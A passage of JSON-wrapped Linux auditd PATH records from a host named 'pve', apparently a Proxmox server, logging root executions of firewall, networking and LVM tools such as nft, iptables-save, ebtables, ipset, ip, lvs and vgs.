msg=audit(1781964062.798:59423): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PATH msg=audit(1781964062.798:59423): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PATH msg=audit(1781964062.798:59422): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PATH msg=audit(1781964062.798:59421): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PATH msg=audit(1781964062.790:59420): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PATH msg=audit(1781964062.790:59420): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PATH msg=audit(1781964062.790:59419): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PATH msg=audit(1781964062.790:59418): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PATH msg=audit(1781964057.783:59417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PATH msg=audit(1781964057.783:59417): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PATH msg=audit(1781964057.783:59416): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PATH msg=audit(1781964057.783:59415): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PATH msg=audit(1781964057.771:59414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PATH msg=audit(1781964057.771:59414): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PATH msg=audit(1781964057.771:59413): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PATH msg=audit(1781964057.771:59412): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055542,"@rawstring":"node=pve type=PATH msg=audit(1781964055.542:59411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055542,"@rawstring":"node=pve type=PATH msg=audit(1781964055.542:59411): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055538,"@rawstring":"node=pve type=PATH msg=audit(1781964055.538:59410): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055538,"@rawstring":"node=pve type=PATH msg=audit(1781964055.538:59410): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055536,"@rawstring":"node=pve type=PATH msg=audit(1781964055.536:59409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055536,"@rawstring":"node=pve type=PATH msg=audit(1781964055.536:59409): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055536,"@rawstring":"node=pve type=PATH msg=audit(1781964055.536:59408): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055532,"@rawstring":"node=pve type=PATH msg=audit(1781964055.532:59407): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055532,"@rawstring":"node=pve type=PATH msg=audit(1781964055.532:59407): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055532,"@rawstring":"node=pve type=PATH msg=audit(1781964055.532:59407): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055526,"@rawstring":"node=pve type=PATH msg=audit(1781964055.526:59406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055526,"@rawstring":"node=pve type=PATH msg=audit(1781964055.526:59406): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055520,"@rawstring":"node=pve type=PATH msg=audit(1781964055.520:59405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055520,"@rawstring":"node=pve type=PATH msg=audit(1781964055.520:59405): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055513,"@rawstring":"node=pve type=PATH msg=audit(1781964055.513:59404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055513,"@rawstring":"node=pve type=PATH msg=audit(1781964055.513:59404): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055507,"@rawstring":"node=pve type=PATH msg=audit(1781964055.507:59403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055507,"@rawstring":"node=pve type=PATH msg=audit(1781964055.507:59403): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055501,"@rawstring":"node=pve type=PATH msg=audit(1781964055.501:59401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055501,"@rawstring":"node=pve type=PATH msg=audit(1781964055.501:59401): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055496,"@rawstring":"node=pve type=PATH msg=audit(1781964055.496:59400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055496,"@rawstring":"node=pve type=PATH msg=audit(1781964055.496:59400): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055491,"@rawstring":"node=pve type=PATH msg=audit(1781964055.491:59399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055491,"@rawstring":"node=pve type=PATH msg=audit(1781964055.491:59399): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055484,"@rawstring":"node=pve type=PATH msg=audit(1781964055.484:59398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055484,"@rawstring":"node=pve type=PATH msg=audit(1781964055.484:59398): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055479,"@rawstring":"node=pve type=PATH msg=audit(1781964055.479:59397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055479,"@rawstring":"node=pve type=PATH msg=audit(1781964055.479:59397): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055474,"@rawstring":"node=pve type=PATH msg=audit(1781964055.474:59396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055474,"@rawstring":"node=pve type=PATH msg=audit(1781964055.474:59396): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055466,"@rawstring":"node=pve type=PATH msg=audit(1781964055.466:59395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055466,"@rawstring":"node=pve type=PATH msg=audit(1781964055.466:59395): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055458,"@rawstring":"node=pve type=PATH msg=audit(1781964055.458:59394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055458,"@rawstring":"node=pve type=PATH msg=audit(1781964055.458:59394): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055454,"@rawstring":"node=pve type=PATH msg=audit(1781964055.454:59393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055454,"@rawstring":"node=pve type=PATH msg=audit(1781964055.454:59393): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055451,"@rawstring":"node=pve type=PATH msg=audit(1781964055.451:59392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055451,"@rawstring":"node=pve type=PATH msg=audit(1781964055.451:59392): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055450,"@rawstring":"node=pve type=PATH msg=audit(1781964055.450:59391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055450,"@rawstring":"node=pve type=PATH msg=audit(1781964055.450:59391): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055450,"@rawstring":"node=pve type=PATH msg=audit(1781964055.450:59390): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055446,"@rawstring":"node=pve type=PATH msg=audit(1781964055.446:59389): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055446,"@rawstring":"node=pve type=PATH msg=audit(1781964055.446:59389): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055446,"@rawstring":"node=pve type=PATH msg=audit(1781964055.446:59389): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055438,"@rawstring":"node=pve type=PATH msg=audit(1781964055.438:59388): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055438,"@rawstring":"node=pve type=PATH msg=audit(1781964055.438:59388): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055430,"@rawstring":"node=pve type=PATH msg=audit(1781964055.430:59387): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055430,"@rawstring":"node=pve type=PATH msg=audit(1781964055.430:59387): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055425,"@rawstring":"node=pve type=PATH msg=audit(1781964055.425:59386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055425,"@rawstring":"node=pve type=PATH msg=audit(1781964055.425:59386): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055418,"@rawstring":"node=pve type=PATH msg=audit(1781964055.418:59385): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055418,"@rawstring":"node=pve type=PATH msg=audit(1781964055.418:59385): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055412,"@rawstring":"node=pve type=PATH msg=audit(1781964055.412:59384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055412,"@rawstring":"node=pve type=PATH msg=audit(1781964055.412:59384): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964054473,"@rawstring":"node=pve type=PATH msg=audit(1781964054.473:59383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964054473,"@rawstring":"node=pve type=PATH msg=audit(1781964054.473:59383): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964054437,"@rawstring":"node=pve type=PATH msg=audit(1781964054.437:59382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964054437,"@rawstring":"node=pve type=PATH msg=audit(1781964054.437:59382): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PATH msg=audit(1781964052.766:59381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PATH msg=audit(1781964052.766:59381): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PATH msg=audit(1781964052.766:59380): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PATH msg=audit(1781964052.766:59379): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PATH msg=audit(1781964052.755:59378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PATH msg=audit(1781964052.755:59378): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PATH msg=audit(1781964052.755:59377): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PATH msg=audit(1781964052.755:59376): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PATH msg=audit(1781964047.740:59375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PATH msg=audit(1781964047.740:59375): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PATH msg=audit(1781964047.740:59374): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PATH msg=audit(1781964047.740:59373): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PATH msg=audit(1781964047.727:59372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PATH msg=audit(1781964047.727:59372): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PATH msg=audit(1781964047.727:59371): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PATH msg=audit(1781964047.727:59370): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405337,"@rawstring":"node=pve type=PATH msg=audit(1781965405.337:65484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405337,"@rawstring":"node=pve type=PATH msg=audit(1781965405.337:65484): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405334,"@rawstring":"node=pve type=PATH msg=audit(1781965405.334:65483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405334,"@rawstring":"node=pve type=PATH msg=audit(1781965405.334:65483): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=PATH msg=audit(1781965405.332:65482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=PATH msg=audit(1781965405.332:65482): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=PATH msg=audit(1781965405.332:65481): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 